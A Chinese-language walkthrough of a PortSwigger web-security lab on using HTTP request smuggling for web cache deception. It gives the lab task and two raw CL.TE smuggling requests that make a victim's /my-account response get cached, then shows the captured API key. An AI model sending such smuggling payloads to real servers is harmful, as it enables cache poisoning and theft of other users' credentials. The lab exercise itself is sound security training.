专家-利用请求走私-执行Web缓存欺骗
# 实验室:利用HTTP请求走私执行Web缓存欺骗
# 题目
此实验室涉及前端和后端服务器,前端服务器不支持分块编码。前端服务器正在缓存静态资源。
若要解决实验室问题,请执行请求走私攻击,使得下一个用户的请求将其 API 密钥保存在缓存中。然后,从缓存中检索受害用户的 API 密钥,并将其作为实验室解决方案提交。你需要等待 30 秒才能欺骗受害者缓存其 API 密钥。
你可以使用以下凭据登录到自己的帐户:wiener:peter
笔记
- 尽管实验室支持 HTTP/2,但预期的解决方案需要依靠 HTTP/1 中的可用技术。你可以在 Burp Repeater 的面板 “Inspector > Request attributes” 部分手动切换协议。
- 该实验室会模拟受害用户的活动。你每向实验室发出一定数量的 POST 请求,受害用户就会发出自己的请求。你可能需要重复几次攻击,以确保受害用户的请求按要求发出。
提示
在请求走私攻击中,手动修复长度字段可能很棘手。我们的 Burp 扩展 HTTP Request Smuggler (opens new window) 可以提供这方面的帮助。你可以通过 BApp Store 安装它。
- name: 实验室-专家
desc: 利用HTTP请求走私执行Web缓存欺骗 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-deception
bgColor: '#001350'
textColor: '#d112fe'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。
/resources/js/tracking.js
POST / HTTP/1.1
Host: ...
Content-Length: 87
Transfer-Encoding: chunked
0
GET /my-account HTTP/1.1
Cookie: ...
Foo: x
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Host: ...
Content-Length: 37
Transfer-Encoding: chunked
0
GET /my-account HTTP/1.1
Foo: x
1
2
3
4
5
6
7
8
9
2
3
4
5
6
7
8
9
MXN2LYTQ2riDFswMmWvwo7fEEjqluBOm
编辑 (opens new window)